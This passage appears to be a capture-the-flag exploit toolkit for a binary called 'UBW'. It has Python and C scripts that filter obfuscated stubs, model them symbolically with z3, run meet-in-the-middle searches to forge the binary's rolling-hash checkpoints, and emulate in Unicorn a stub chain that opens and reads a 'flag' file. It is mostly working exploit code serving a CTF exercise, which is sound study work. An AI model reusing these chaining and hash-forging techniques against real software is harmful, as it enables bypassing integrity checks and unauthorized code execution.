entries = img.table_entries() # (i, start, end, hash)
md = Cs(CS_ARCH_X86, CS_MODE_64); md.detail = True
print(f"# table entries decoded: {len(entries)}")
usable = [] # r10-safe, ret-terminating, no syscall
syscall_stubs = []
r10_writers = 0
no_endbr = 0
no_ret = 0
dup_starts = Counter()
seen_start = {}
for i, start, end, h in entries:
try:
code = img.file_bytes_at_va(start, max(end - start, 8))
except Exception:
continue
if code[:4] != b"\xf3\x0f\x1e\xfa":
no_endbr += 1
continue
writes_r10 = False
has_syscall = False
saw_ret = False
for insn in md.disasm(code, start):
if insn.mnemonic == "ret":
saw_ret = True; break
if insn.mnemonic == "syscall":
has_syscall = True
_, w = insn.regs_access()
for r in w:
if md.reg_name(r) in ("r10", "r10d", "r10w", "r10b"):
writes_r10 = True
if not saw_ret:
no_ret += 1
continue
if writes_r10:
r10_writers += 1
continue
dup_starts[start] += 1
if has_syscall:
syscall_stubs.append((i, start, end, h))
else:
usable.append((i, start, end, h))
print(f"# no_endbr={no_endbr} no_ret={no_ret} r10_writers={r10_writers}")
print(f"# USABLE (r10-safe, no syscall): {len(usable)}")
print(f"# syscall stubs (r10-safe): {len(syscall_stubs)}")
# distinct hashes among usable -> effective hash alphabet
uhashes = {h for *_, h in usable}
print(f"# distinct hashes among usable: {len(uhashes)}")
print(f"# distinct start addrs among usable: {len({s for _,s,_,_ in usable})}")
for i,s,e,h in syscall_stubs[:20]:
print(f" SYSCALL stub idx=0x{i:x} start=0x{s:x} hash=0x{h:016x}")
# save usable set
with open("usable_stubs.txt","w") as f:
for i,s,e,h in usable:
f.write(f"idx=0x{i:x} start=0x{s:x} end=0x{e:x} hash=0x{h:016x}\n")
if __name__ == "__main__":
main()
stub_ir.py — z3 符号执行,求每个沙盒函数对寄存器的精确传递函数
#!/usr/bin/env python3
"""Derive exact affine transfer functions for each candidate stub via z3-BitVec
symbolic execution of the real obfuscated bytes.
Only the cared registers (rax,rbx,rcx,rdx,rsi,rdi,rbp,r12,r13,r14,r15) and a tiny
memory model (one slot written by `mov [r15], r14`) are tracked precisely. Every
opcode that writes a non-affine/obfuscation result (ror/btc/adc/sete/cmov/...) is
havoced; those only ever target rcx/r8/r9/r11 (verified by stub_cared.py), so the
cared transfer functions stay clean.
"""
import re
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
from capstone.x86 import X86_OP_REG, X86_OP_MEM, X86_OP_IMM
from z3 import BitVec, BitVecVal, Extract, ZeroExt, Concat, simplify, LShR, RotateLeft
from emulate_table_funcs import ElfImage
GPRS = ["rax","rbx","rcx","rdx","rsi","rdi","rbp","rsp",
"r8","r9","r10","r11","r12","r13","r14","r15"]
CARED = ["rax","rbx","rdx","rsi","rdi","rbp","r12","r13","r14","r15"]
# sub-register -> (full, width, lowbyte_high?)
SUB = {}
for full in GPRS:
SUB[full] = (full, 64)
def _add(full, d32, d16, d8):
SUB[d32] = (full, 32)
SUB[d16] = (full, 16)
if d8: SUB[d8] = (full, 8)
_add("rax","eax","ax","al"); _add("rbx","ebx","bx","bl")
_add("rcx","ecx","cx","cl"); _add("rdx","edx","dx","dl")
_add("rsi","esi","si","sil"); _add("rdi","edi","di","dil")
_add("rbp","ebp","bp","bpl"); _add("rsp","esp","sp","spl")
for n in (8,9,10,11,12,13,14,15):
_add(f"r{n}", f"r{n}d", f"r{n}w", f"r{n}b")
AFFINE = {"mov","movzx","movsx","lea","add","sub","xor","or","and",
"shl","shr","sar","inc","dec","neg","imul","not","movabs"}
def load_ranges(path="res.txt"):
rng=[]
for line in open(path):
m=re.search(r"idx=(\w+) start=(\w+) end=(\w+)", line)
if m: rng.append((int(m.group(1),16),int(m.group(2),16),int(m.group(3),16)))
return rng
class HavocCtr:
def __init__(self): self.n=0
def fresh(self, tag):
self.n+=1
return BitVec(f"hav_{tag}_{self.n}", 64)
def read_full(state, full):
return state[full]
def read_op(state, reg):
full, w = SUB[reg]
v = state[full]
if w==64: return v
return Extract(w-1,0,v)
def write_reg(state, reg, val, hav):
"""val is a BitVec of width = reg width."""
full, w = SUB[reg]
if w==64:
state[full]=val
elif w==32:
state[full]=ZeroExt(32, Extract(31,0,val))
elif w==16:
state[full]=Concat(Extract(63,16,state[full]), Extract(15,0,val))
elif w==8:
state[full]=Concat(Extract(63,8,state[full]), Extract(7,0,val))
def ext_to(v, w):
cur=v.size()
if cur==w: return v
if cur<w: return ZeroExt(w-cur, v)
return Extract(w-1,0,v)
def mem_addr(state, op):
m=op.mem
addr=BitVecVal(m.disp & ((1<<64)-1),64)
if m.base!=0:
if op._base_name=="rip":
addr=addr+BitVecVal(op._rip & ((1<<64)-1),64)
else:
addr=addr+state[op._base_name]
if m.index!=0:
addr=addr+state[op._index_name]*BitVecVal(m.scale,64)
return simplify(addr)
def apply_stub(md, code, start, in_state, hav, mem):
state=dict(in_state)
for insn in md.disasm(code, start):
mn=insn.mnemonic
ops=insn.operands
# annotate base/index names for mem
for op in ops:
if op.type==X86_OP_MEM:
op._base_name = md.reg_name(op.mem.base) if op.mem.base else None
op._index_name = md.reg_name(op.mem.index) if op.mem.index else None
op._rip = insn.address + insn.size
if mn in ("ret","syscall"):
break
if mn=="endbr64" or mn=="nop" or mn=="pause" or mn=="cmc" or mn in ("clc","stc","test","cmp","bt","bsr","bsf"):
continue
if mn=="push":
mem.setdefault("stack",[]).append(read_op(state, md.reg_name(ops[0].reg)) if ops[0].type==X86_OP_REG else BitVecVal(0,64))
continue
if mn=="pop":
if ops[0].type==X86_OP_REG:
v = mem.get("stack",[]).pop() if mem.get("stack") else hav.fresh("pop")
full,w=SUB[md.reg_name(ops[0].reg)]
write_reg(state, md.reg_name(ops[0].reg), ext_to(v,w), hav)
continue
if mn not in AFFINE:
# havoc any written register (only junk regs hit this)
_,w=insn.regs_access()
for r in w:
rn=md.reg_name(r)
if rn in SUB:
full,_=SUB[rn]
state[full]=hav.fresh(full)
continue
# ---- affine ops ----
dst=ops[0]
if dst.type==X86_OP_MEM:
# store: mov [r15], r14 (record into mem model)
if mn=="mov" and len(ops)==2 and ops[1].type==X86_OP_REG:
addr=mem_addr(state, dst)
mem[str(addr)]=read_op(state, md.reg_name(ops[1].reg))
continue
dn=md.reg_name(dst.reg); full,w=SUB[dn]
def srcval(op):
if op.type==X86_OP_IMM:
return BitVecVal(op.imm & ((1<<w)-1), w)
if op.type==X86_OP_REG:
return ext_to(read_op(state, md.reg_name(op.reg)), w)
if op.type==X86_OP_MEM:
return ext_to(hav.fresh("memload"), w) # unmodeled memory load -> havoc
if mn in ("mov","movabs"):
write_reg(state, dn, srcval(ops[1]), hav)
elif mn=="movzx":
s=ops[1]
sv=read_op(state, md.reg_name(s.reg)) if s.type==X86_OP_REG else srcval(s)
write_reg(state, dn, ext_to(sv,w), hav)
elif mn=="lea":
addr=mem_addr(state, ops[1])
write_reg(state, dn, ext_to(addr,w), hav)
elif mn=="add":
write_reg(state, dn, ext_to(read_op(state,dn),w)+srcval(ops[1]), hav)
elif mn=="sub":
write_reg(state, dn, ext_to(read_op(state,dn),w)-srcval(ops[1]), hav)
elif mn=="xor":
write_reg(state, dn, ext_to(read_op(state,dn),w)^srcval(ops[1]), hav)
elif mn=="or":
write_reg(state, dn, ext_to(read_op(state,dn),w)|srcval(ops[1]), hav)
elif mn=="and":
write_reg(state, dn, ext_to(read_op(state,dn),w)&srcval(ops[1]), hav)
elif mn=="shl":
sh=ops[1].imm if ops[1].type==X86_OP_IMM else 1
write_reg(state, dn, ext_to(read_op(state,dn),w)<<sh, hav)
elif mn=="shr":
sh=ops[1].imm if ops[1].type==X86_OP_IMM else 1
write_reg(state, dn, LShR(ext_to(read_op(state,dn),w),sh), hav)
elif mn=="sar":
sh=ops[1].imm if ops[1].type==X86_OP_IMM else 1
write_reg(state, dn, ext_to(read_op(state,dn),w)>>sh, hav)
elif mn=="inc":
write_reg(state, dn, ext_to(read_op(state,dn),w)+BitVecVal(1,w), hav)
elif mn=="dec":
write_reg(state, dn, ext_to(read_op(state,dn),w)-BitVecVal(1,w), hav)
elif mn=="neg":
write_reg(state, dn, -ext_to(read_op(state,dn),w), hav)
elif mn=="not":
write_reg(state, dn, ~ext_to(read_op(state,dn),w), hav)
elif mn=="imul":
if len(ops)==3:
a=ext_to(read_op(state,md.reg_name(ops[1].reg)),w); b=BitVecVal(ops[2].imm&((1<<w)-1),w)
write_reg(state, dn, a*b, hav)
elif len(ops)==2:
write_reg(state, dn, ext_to(read_op(state,dn),w)*srcval(ops[1]), hav)
return state
def derive_all():
img=ElfImage("UBW",0); md=Cs(CS_ARCH_X86,CS_MODE_64); md.detail=True
out={}
for idx,start,end in load_ranges():
code=img.file_bytes_at_va(start,end-start)
in_state={r:BitVec(f"in_{r}",64) for r in GPRS}
hav=HavocCtr(); mem={}
st=apply_stub(md, code, start, in_state, hav, mem)
eff={}
for r in CARED:
e=simplify(st[r])
if not (e.num_args()==0 and str(e)==f"in_{r}"):
eff[r]=e
stores={k:simplify(v) for k,v in mem.items() if k!="stack"}
out[start]=(idx,eff,stores)
return out, md
if __name__=="__main__":
eff,_=derive_all()
for start in sorted(eff):
idx,e,stores=eff[start]
print(f"\nidx=0x{idx:x} start=0x{start:x}")
for r in CARED:
if r in e:
print(f" {r} = {e[r]}")
for k,v in stores.items():
print(f" MEM[{k}] = {v}")
mitm.py — Python 穷举 MITM,验证 9 步桥 E0→T1(模型校验)
#!/usr/bin/env python3
"""Meet-in-the-middle bridge solver for the UBW rolling hash.
Validates against the binary's real checkpoint constants.
step(h,s) = ROL(h^s,17)*MUL + ADD
reverse(h,s) inverts it.
A "bridge" of depth d from h_start to h_end: choose s_0..s_{d-1} in alphabet with
fold(h_start, s_0..s_{d-1}) == h_end.
"""
import sys, time, itertools, re
from hash_chain_search import INIT_HASH, EXPECTED_HASHES, step_hash, reverse_step, MASK
SYS_HASH = 0xf76f2edaf3c1f2fb # hash of syscall stub 0xc9670
def load_alphabet():
hs={}
for line in open("usable_stubs.txt"):
m=re.search(r"start=(\w+) end=\w+ hash=(\w+)", line)
if m:
h=int(m.group(2),16); hs.setdefault(h,[]).append(int(m.group(1),16))
return hs # hash -> [starts]
ALPHA = load_alphabet()
HASHES = sorted(ALPHA)
print(f"# distinct hashes={len(HASHES)} total stubs={sum(len(v) for v in ALPHA.values())}", file=sys.stderr)
def mitm(h_start, h_end, d_fwd, d_bwd):
"""Find a (d_fwd+d_bwd)-bridge h_start->h_end. Exhaustive on both sides."""
# forward table: fold h_start over d_fwd choices -> {mid: path}
t0=time.time()
fwd={}
for combo in itertools.product(HASHES, repeat=d_fwd):
h=h_start
for s in combo: h=step_hash(h,s)
fwd.setdefault(h, combo) # keep one path per midpoint
print(f"# forward table size={len(fwd)} built in {time.time()-t0:.1f}s", file=sys.stderr)
# backward: reverse h_end over d_bwd choices, look up
t1=time.time(); tried=0
for combo in itertools.product(HASHES, repeat=d_bwd):
h=h_end
for s in reversed(combo): h=reverse_step(h,s)
tried+=1
if h in fwd:
path=list(fwd[h])+list(combo)
print(f"# HIT after {tried} backward tries in {time.time()-t1:.1f}s", file=sys.stderr)
return path
print(f"# no bridge found ({tried} tries, {time.time()-t1:.1f}s)", file=sys.stderr)
return None
def verify(h_start, path, h_end):
h=h_start
for s in path: h=step_hash(h,s)
return h==h_end
if __name__=="__main__":
# B1: E0 -> reverse(E1, SYS_HASH), depth 9
h_start = EXPECTED_HASHES[0]
h_end = reverse_step(EXPECTED_HASHES[1], SYS_HASH)
print(f"# B1 bridge E0=0x{h_start:016x} -> T1=0x{h_end:016x} depth 9")
path = mitm(h_start, h_end, d_fwd=4, d_bwd=5)
if path:
assert verify(h_start, path, h_end)
print("# B1 SOLVED, hash sequence (each maps to >=1 stub):")
for i,hv in enumerate(path):
print(f" {i:02d}: hash=0x{hv:016x} stubs={[hex(x) for x in ALPHA[hv]]}")
mitm.c — stage0 filler 的 birthday MITM(depth-17)
// Birthday meet-in-the-middle for the UBW rolling hash.
// Find s[0..16] in ALPHA with fold(INIT, s) == HPRE (depth 17 = 8 fwd + 9 bwd).
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>
#include "alphabet.h"
#define MUL 0x9E3779B185EBCA87ULL
#define ADD 0x94D049BB133111EBULL
// INV_MUL = MUL^{-1} mod 2^64
#define INVMUL 0xBF58476D1CE4E5B9ULL // placeholder, set by python (overwritten below)
#define INIT 0x6A09E667F3BCC909ULL
static uint64_t HPRE, INVMULV;
#define FWD 8
#define BWD 9
#define TBL_BITS 28
#define TBL_SIZE (1ULL<<TBL_BITS)
#define TBL_MASK (TBL_SIZE-1)
#define N_FWD (1ULL<<27)
static inline uint64_t rol(uint64_t x,int n){return (x<<n)|(x>>(64-n));}
static inline uint64_t ror(uint64_t x,int n){return (x>>n)|(x<<(64-n));}
static inline uint64_t step(uint64_t h,uint64_t s){return rol(h^s,17)*MUL+ADD;}
static inline uint64_t rev(uint64_t h,uint64_t s){return ror((h-ADD)*INVMULV,17)^s;}
typedef struct { uint64_t key; uint64_t val; } Slot; // val packs 8 fwd indices (6 bits each)
static Slot *tbl;
static inline void tbl_put(uint64_t key, uint64_t val){
uint64_t i = (key*0x9E3779B97F4A7C15ULL) & TBL_MASK;
while(tbl[i].key){ if(tbl[i].key==key) return; i=(i+1)&TBL_MASK; }
tbl[i].key=key; tbl[i].val=val?val:1; // avoid 0 val collision; val!=0
}
static inline uint64_t tbl_get(uint64_t key){
uint64_t i = (key*0x9E3779B97F4A7C15ULL) & TBL_MASK;
while(tbl[i].key){ if(tbl[i].key==key) return tbl[i].val; i=(i+1)&TBL_MASK; }
return 0;
}
static volatile int found=0;
static uint64_t result_fwd, result_bwd;
typedef struct { uint64_t seed; } Targ;
static void* worker(void* a){
Targ* t=(Targ*)a;
uint64_t st=t->seed;
uint64_t cnt=0, MAXB=(1ULL<<40)/16; // per-thread cap
while(!found && cnt<MAXB){
// sample BWD random indices
uint64_t idxs=0, h=HPRE;
int ix[BWD];
for(int k=0;k<BWD;k++){
st^=st<<13; st^=st>>7; st^=st<<17; // xorshift64
int j=st%NA; ix[k]=j;
}
for(int k=BWD-1;k>=0;k--) h=rev(h,ALPHA[ix[k]]);
uint64_t v=tbl_get(h);
if(v){
// pack bwd indices
uint64_t bpk=0; for(int k=0;k<BWD;k++) bpk=(bpk<<6)|ix[k];
if(!__sync_lock_test_and_set(&found,1)){
result_fwd=v; result_bwd=bpk;
}
break;
}
cnt++;
}
return 0;
}
int main(int argc,char**argv){
HPRE=strtoull(argv[1],0,16);
INVMULV=strtoull(argv[2],0,16);
fprintf(stderr,"NA=%d HPRE=%016llx INVMUL=%016llx\n",NA,(unsigned long long)HPRE,(unsigned long long)INVMULV);
tbl=calloc(TBL_SIZE,sizeof(Slot));
if(!tbl){perror("calloc");return 1;}
// forward: sample N_FWD random depth-8 paths from INIT
uint64_t st=0x1234567;
for(uint64_t n=0;n<N_FWD;n++){
uint64_t h=INIT, pk=0;
for(int k=0;k<FWD;k++){
st^=st<<13; st^=st>>7; st^=st<<17;
int j=st%NA; pk=(pk<<6)|j; h=step(h,ALPHA[j]);
}
tbl_put(h, pk);
}
fprintf(stderr,"forward table filled (%llu samples)\n",(unsigned long long)N_FWD);
int NT=16; pthread_t th[16]; Targ ta[16];
for(int i=0;i<NT;i++){ ta[i].seed=0xdeadbeef1234ULL+ i*0x9e3779b1ULL + 1; pthread_create(&th[i],0,worker,&ta[i]); }
for(int i=0;i<NT;i++) pthread_join(th[i],0);
if(!found){ fprintf(stderr,"NO HIT (increase N_FWD or MAXB)\n"); return 2; }
// reconstruct
int fwd[FWD], bwd[BWD];
for(int k=FWD-1;k>=0;k--){ fwd[k]=result_fwd&63; result_fwd>>=6; }
for(int k=BWD-1;k>=0;k--){ bwd[k]=result_bwd&63; result_bwd>>=6; }
// verify
uint64_t h=INIT;
printf("FILLER_INDICES");
for(int k=0;k<FWD;k++){ h=step(h,ALPHA[fwd[k]]); printf(" %d",fwd[k]); }
for(int k=0;k<BWD;k++){ h=step(h,ALPHA[bwd[k]]); printf(" %d",bwd[k]); }
printf("\nFINAL=%016llx HPRE=%016llx MATCH=%d\n",(unsigned long long)h,(unsigned long long)HPRE,h==HPRE);
return 0;
}
mitm12.c — stage2 depth-12 穷举桥(正向 5 / 反向 7)
// Exhaustive depth-12 bridge enumerator: all s[0..11] in ALPHA with
// fold(START,s)==TARGET. Forward 5 (stored), backward 7 (streamed, 16 threads).
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>
#include "alphabet.h"
#define MUL 0x9E3779B185EBCA87ULL
#define ADD 0x94D049BB133111EBULL
static uint64_t INVMULV, START, TARGET;
#define FWD 5
#define BWD 7
#define TBL_BITS 27
#define TBL_SIZE (1ULL<<TBL_BITS)
#define TBL_MASK (TBL_SIZE-1)
static inline uint64_t rol(uint64_t x,int n){return (x<<n)|(x>>(64-n));}
static inline uint64_t ror(uint64_t x,int n){return (x>>n)|(x<<(64-n));}
static inline uint64_t step(uint64_t h,uint64_t s){return rol(h^s,17)*MUL+ADD;}
static inline uint64_t rev(uint64_t h,uint64_t s){return ror((h-ADD)*INVMULV,17)^s;}
typedef struct { uint64_t key, val; } Slot; // val packs 5 fwd indices (6 bits)
static Slot* tbl;
static inline void put(uint64_t k,uint64_t v){
uint64_t i=(k*0x9E3779B97F4A7C15ULL)&TBL_MASK;
while(tbl[i].key){ if(tbl[i].key==k) return; i=(i+1)&TBL_MASK; }
tbl[i].key=k; tbl[i].val=v|(1ULL<<60); // mark present
}
static inline uint64_t get(uint64_t k){
uint64_t i=(k*0x9E3779B97F4A7C15ULL)&TBL_MASK;
while(tbl[i].key){ if(tbl[i].key==k) return tbl[i].val; i=(i+1)&TBL_MASK; }
return 0;
}
static pthread_mutex_t mtx=PTHREAD_MUTEX_INITIALIZER;
typedef struct { int t0_lo, t0_hi; } Targ;
static void emit(int fwdpk, int* bwd){
int f[FWD]; for(int k=FWD-1;k>=0;k--){ f[k]=fwdpk&63; fwdpk>>=6; }
pthread_mutex_lock(&mtx);
printf("BRIDGE");
for(int k=0;k<FWD;k++) printf(" %d", f[k]);
for(int k=0;k<BWD;k++) printf(" %d", bwd[k]);
printf("\n"); fflush(stdout);
pthread_mutex_unlock(&mtx);
}
static void* worker(void* a){
Targ* t=(Targ*)a; int idx[BWD];
for(int a0=t->t0_lo; a0<t->t0_hi; a0++){
idx[0]=a0;
for(int a1=0;a1<NA;a1++){idx[1]=a1;
for(int a2=0;a2<NA;a2++){idx[2]=a2;
for(int a3=0;a3<NA;a3++){idx[3]=a3;
for(int a4=0;a4<NA;a4++){idx[4]=a4;
for(int a5=0;a5<NA;a5++){idx[5]=a5;
for(int a6=0;a6<NA;a6++){idx[6]=a6;
uint64_t h=TARGET;
for(int k=BWD-1;k>=0;k--) h=rev(h,ALPHA[idx[k]]);
uint64_t v=get(h);
if(v) emit((int)(v&((1<<30)-1)), idx);
}}}}}}
}
return 0;
}
int main(int argc,char**argv){
START=strtoull(argv[1],0,16);
TARGET=strtoull(argv[2],0,16);
INVMULV=strtoull(argv[3],0,16);
fprintf(stderr,"NA=%d START=%016llx TARGET=%016llx\n",NA,(unsigned long long)START,(unsigned long long)TARGET);
tbl=calloc(TBL_SIZE,sizeof(Slot));
// forward exhaustive depth 5
int id[FWD];
for(id[0]=0;id[0]<NA;id[0]++)
for(id[1]=0;id[1]<NA;id[1]++)
for(id[2]=0;id[2]<NA;id[2]++)
for(id[3]=0;id[3]<NA;id[3]++)
for(id[4]=0;id[4]<NA;id[4]++){
uint64_t h=START, pk=0;
for(int k=0;k<FWD;k++){ pk=(pk<<6)|id[k]; h=step(h,ALPHA[id[k]]); }
put(h,pk);
}
fprintf(stderr,"forward table built\n");
int NT=16; pthread_t th[16]; Targ ta[16];
int per=(NA+NT-1)/NT;
for(int i=0;i<NT;i++){ ta[i].t0_lo=i*per; ta[i].t0_hi=(i+1)*per>NA?NA:(i+1)*per; pthread_create(&th[i],0,worker,&ta[i]); }
for(int i=0;i<NT;i++) pthread_join(th[i],0);
fprintf(stderr,"done\n");
return 0;
}
mitm13b.c — stage0 新 filler(depth-13,正向穷举打表 + 反向采样命中即停)
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <pthread.h>
#include "alphabet.h"
#define MUL 0x9E3779B185EBCA87ULL
#define ADD 0x94D049BB133111EBULL
static uint64_t INVMULV, START, TARGET;
#define FWD 5
#define BWD 8
#define TBL_BITS 27
#define TBL_SIZE (1ULL<<TBL_BITS)
#define TBL_MASK (TBL_SIZE-1)
static inline uint64_t rol(uint64_t x,int n){return (x<<n)|(x>>(64-n));}
static inline uint64_t ror(uint64_t x,int n){return (x>>n)|(x<<(64-n));}
static inline uint64_t step(uint64_t h,uint64_t s){return rol(h^s,17)*MUL+ADD;}
static inline uint64_t rev(uint64_t h,uint64_t s){return ror((h-ADD)*INVMULV,17)^s;}
typedef struct{uint64_t key,val;}Slot; static Slot*tbl;
static void put(uint64_t k,uint64_t v){uint64_t i=(k*0x9E3779B97F4A7C15ULL)&TBL_MASK;while(tbl[i].key){if(tbl[i].key==k)return;i=(i+1)&TBL_MASK;}tbl[i].key=k;tbl[i].val=v|(1ULL<<60);}
static uint64_t get(uint64_t k){uint64_t i=(k*0x9E3779B97F4A7C15ULL)&TBL_MASK;while(tbl[i].key){if(tbl[i].key==k)return tbl[i].val;i=(i+1)&TBL_MASK;}return 0;}
static volatile int found=0; static uint64_t R_FWD,R_BWD;
typedef struct{uint64_t seed;}Targ;
static void* worker(void*a){Targ*t=(Targ*)a;uint64_t st=t->seed;int ix[BWD];
while(!found){
uint64_t h=TARGET;
for(int k=0;k<BWD;k++){st^=st<<13;st^=st>>7;st^=st<<17;ix[k]=st%NA;}
for(int k=BWD-1;k>=0;k--)h=rev(h,ALPHA[ix[k]]);
uint64_t v=get(h);
if(v){uint64_t b=0;for(int k=0;k<BWD;k++)b=(b<<6)|ix[k];
if(!__sync_lock_test_and_set(&found,1)){R_FWD=v;R_BWD=b;}break;}
}return 0;}
int main(int c,char**v){START=strtoull(v[1],0,16);TARGET=strtoull(v[2],0,16);INVMULV=strtoull(v[3],0,16);
fprintf(stderr,"NA=%d START=%llx TARGET=%llx\n",NA,(unsigned long long)START,(unsigned long long)TARGET);
tbl=calloc(TBL_SIZE,sizeof(Slot)); int id[FWD];
for(id[0]=0;id[0]<NA;id[0]++)for(id[1]=0;id[1]<NA;id[1]++)for(id[2]=0;id[2]<NA;id[2]++)
for(id[3]=0;id[3]<NA;id[3]++)for(id[4]=0;id[4]<NA;id[4]++){
uint64_t h=START,pk=0;for(int k=0;k<FWD;k++){pk=(pk<<6)|id[k];h=step(h,ALPHA[id[k]]);}put(h,pk);}
fprintf(stderr,"fwd table built\n");
int NT=16;pthread_t th[16];Targ ta[16];
for(int i=0;i<NT;i++){ta[i].seed=0x9e3779b1ULL*(i+1)+12345;pthread_create(&th[i],0,worker,&ta[i]);}
for(int i=0;i<NT;i++)pthread_join(th[i],0);
if(!found){fprintf(stderr,"no hit\n");return 2;}
int f[FWD],b[BWD];for(int k=FWD-1;k>=0;k--){f[k]=R_FWD&63;R_FWD>>=6;}for(int k=BWD-1;k>=0;k--){b[k]=R_BWD&63;R_BWD>>=6;}
uint64_t h=START;printf("BRIDGE");for(int k=0;k<FWD;k++){h=step(h,ALPHA[f[k]]);printf(" %d",f[k]);}
for(int k=0;k<BWD;k++){h=step(h,ALPHA[b[k]]);printf(" %d",b[k]);}
printf("\nFINAL=%llx MATCH=%d\n",(unsigned long long)h,h==TARGET);return 0;}
chain_exec.py — unicorn 串行执行真实函数字节 + open 设置后缀 SUFFIX
#!/usr/bin/env python3
"""Execute real stub bytes back-to-back in Unicorn (each stub = endbr64..ret).
Registers persist across stubs (a 'call r11' chain). Used to construct and
verify the register/string-setup suffix for the ORW syscalls."""
import struct, random
from unicorn import Uc, UC_ARCH_X86, UC_MODE_64, UC_HOOK_MEM_INVALID
from unicorn.x86_const import *
from emulate_table_funcs import ElfImage
REGS = [("rax",UC_X86_REG_RAX),("rbx",UC_X86_REG_RBX),("rcx",UC_X86_REG_RCX),
("rdx",UC_X86_REG_RDX),("rsi",UC_X86_REG_RSI),("rdi",UC_X86_REG_RDI),
("rbp",UC_X86_REG_RBP),("rsp",UC_X86_REG_RSP),("r8",UC_X86_REG_R8),
("r9",UC_X86_REG_R9),("r10",UC_X86_REG_R10),("r11",UC_X86_REG_R11),
("r12",UC_X86_REG_R12),("r13",UC_X86_REG_R13),("r14",UC_X86_REG_R14),
("r15",UC_X86_REG_R15)]
RID = {n:r for n,r in REGS}
RET_SENTINEL = 0x5000000 # above the image; stubs ret here to stop
STACK_BASE = 0x7fff0000000
class Chain:
def __init__(self, elf="UBW"):
self.img = ElfImage(elf, 0)
self.uc = Uc(UC_ARCH_X86, UC_MODE_64)
self.img.map_into(self.uc)
self.uc.mem_map(RET_SENTINEL & ~0xfff, 0x1000)
self.uc.mem_map(STACK_BASE - 0x100000, 0x200000)
self.fault = None
self.uc.hook_add(UC_HOOK_MEM_INVALID, self._bad)
def _bad(self, uc, access, addr, size, value, ud):
self.fault = (access, addr, size); return False
def set(self, regs):
for n,v in regs.items():
self.uc.reg_write(RID[n], v & ((1<<64)-1))
def get(self, n): return self.uc.reg_read(RID[n])
def regs(self): return {n:self.uc.reg_read(r) for n,r in REGS}
def run_stub(self, start, max_insn=4000):
self.fault=None
sp = self.get("rsp")
sp -= 8
self.uc.mem_write(sp, struct.pack("<Q", RET_SENTINEL))
self.uc.reg_write(UC_X86_REG_RSP, sp)
try:
self.uc.emu_start(start, RET_SENTINEL, count=max_insn)
except Exception as e:
return f"FAULT:{e} fault={self.fault}"
if self.uc.reg_read(UC_X86_REG_RIP)!=RET_SENTINEL:
return "TIMEOUT"
return "OK"
def run_chain(self, stubs):
for s in stubs:
st=self.run_stub(s)
if st!="OK": return st, s
return "OK", None
def memread(self, addr, n): return self.uc.mem_read(addr, n)
def fresh(regs=None):
c=Chain()
init={n:random.getrandbits(48)|0x40000 for n,_ in REGS}
init["rsp"]=STACK_BASE; init["rbp"]=STACK_BASE
if regs: init.update(regs)
c.set(init)
return c
# --- candidate stage-0 register/string-setup suffix (open("flag",0)) ---
SUFFIX = [
# 1. reset r14 = 0
0x1d1a70, # r12 = 0
0x267140, # r13 = r12 (=0)
0x2ce030, # r13 += 1 (=1)
0x1ad030, # r14 = r13 - 1 (=0)
# 2. build r14 = 0x67616c66 ("flag" little-endian), high bytes 0
0x359b90, # r14b = 0x67 'g'
0x160750, # r14 <<= 8
0x39c3d0, # r14b |= 0x61 'a'
0x160750, # r14 <<= 8
0x3a0300, # r14b += 0x6c 'l'
0x160750, # r14 <<= 8
0x1bc930, # r14b |= 0x66 'f'
# 3. r15 = scratch (+0x111), store (-0x111) => stores exactly r14
0x144260, # r15 = stack scratch; r14 += 0x111
0x24e730, # *r15 = r14 - 0x111 = "flag\0\0\0\0"; rbx = 90
# 4. rax = 2 (rbx=90 -> ^0x5a=0 -> +2 -> rax=ebx)
0x1d6650, # ebx ^= 0x5a (90^0x5a = 0)
0x241ee0, # ebx += 2
0x265aa0, # rax = ebx (=2)
# 5. finalize open args: rdi=r15, rsi=0, rdx=0, rax=2
0x258900,
]
if __name__=="__main__":
print(f"suffix length K={len(SUFFIX)}")
ok=0; tries=200
for seed in range(tries):
random.seed(seed)
c=fresh()
st,bad=c.run_chain(SUFFIX)
if st!="OK":
print(f"seed {seed}: {st} at {hex(bad) if bad else None}"); continue
r=c.regs()
rdi=r["rdi"]; mem=bytes(c.memread(rdi,8))
good = (r["rax"]==2 and r["rsi"]==0 and r["rdx"]==0 and mem[:5]==b"flag\x00")
ok+=good
if seed<3 or not good:
print(f"seed {seed}: rax={r['rax']:#x} rsi={r['rsi']:#x} rdx={r['rdx']:#x} "
f"rdi={rdi:#x} [rdi]={mem.hex()} good={good}")
print(f"\nGOOD {ok}/{tries}")
suffix2.py — 整合后的 21 条 stage0 后缀(open 参数 + 顺带 r13=0x34、rbx=8)
#!/usr/bin/env python3
"""Verify the integrated 21-stub stage-0 suffix that plants open-args AND the
downstream residuals r13=0x34, rbx=8 (so stage1->r13=1 enters stage2 -> write rdi=1
and write buf = r15+rbx = r15+8 = read buf)."""
import random
from chain_exec import Chain, fresh, RID
from unicorn.x86_const import *
SUFFIX2 = [
0x1d1a70, # r12=0
0x267140, # r13=r12=0
0x2ce030, # r13=1
0x1ad030, # r14=r13-1=0
0x359b90,0x160750,0x39c3d0,0x160750,0x3a0300,0x160750,0x1bc930, # build "flag" in r14
0x144260, # r15=scratch ; r14+=0x111
0x24e730, # *r15 = r14-0x111 = "flag\0..." ; rbx=90
0x1d6650, # rbx ^=0x5a (90->0)
0x241ee0, # rbx+=2 ->2
0x265aa0, # rax=ebx ->2
0x241ee0,0x241ee0,0x241ee0, # rbx 2->4->6->8
0x189530, # r13: 1 ^0x35 = 0x34
0x258900, # rdi=r15, rsi=0, rdx=0, rax=eax=2
]
print(f"K={len(SUFFIX2)} filler={34-len(SUFFIX2)}")
ok=0; N=100
for seed in range(N):
random.seed(seed); c=fresh()
st,bad=c.run_chain(SUFFIX2)
if st!="OK": print(f"seed{seed}: {st}@{hex(bad) if bad else None}"); continue
r=c.regs(); rdi=r["rdi"]; mem=bytes(c.memread(rdi,8))
good=(r["rax"]==2 and r["rsi"]==0 and r["rdx"]==0 and mem[:5]==b"flag\x00"
and r["r13"]==0x34 and r["rbx"]==8 and rdi==r["r15"])
ok+=good
if seed<2 or not good:
print(f"seed{seed}: rax={r['rax']:#x} rsi={r['rsi']:#x} rdx={r['rdx']:#x} "
